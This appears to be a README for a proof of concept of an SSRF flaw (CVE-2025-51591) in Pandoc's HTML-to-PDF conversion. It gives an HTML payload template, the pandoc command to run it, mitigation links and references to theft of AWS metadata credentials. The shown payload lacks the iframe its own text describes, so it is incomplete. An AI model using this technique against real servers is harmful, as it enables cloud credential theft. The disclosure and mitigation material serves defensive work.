CVE-2025-51591 Pandoc SSRF POC

A Server-Side Request Forgery (SSRF) in JGM Pandoc v3.6.4 allows attackers to gain access to and compromise the whole infrastructure via injecting a crafted iframe.

Install Pandoc

https://pandoc.org/installing.html

Payload Example

⚠️ replace iframe url to your own OAST url. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

Convert Payload To PDF Using Pandoc

pandoc payload.html -o output1.pdf

Mitigate Strategies

https://github.com/jgm/pandoc/issues/10682#issuecomment-2718343529
https://pandoc.org/MANUAL.html#a-note-on-security

References

Hackers Exploit Pandoc CVE-2025-51591 to Target AWS IMDS and Steal EC2 IAM Credentials
IMDS Abused: Hunting Rare Behaviors to Uncover Exploits
SSRF When Generating PDFs from User-Controlled HTML

CVE-2025-51591-Pandoc-SSRF-POC

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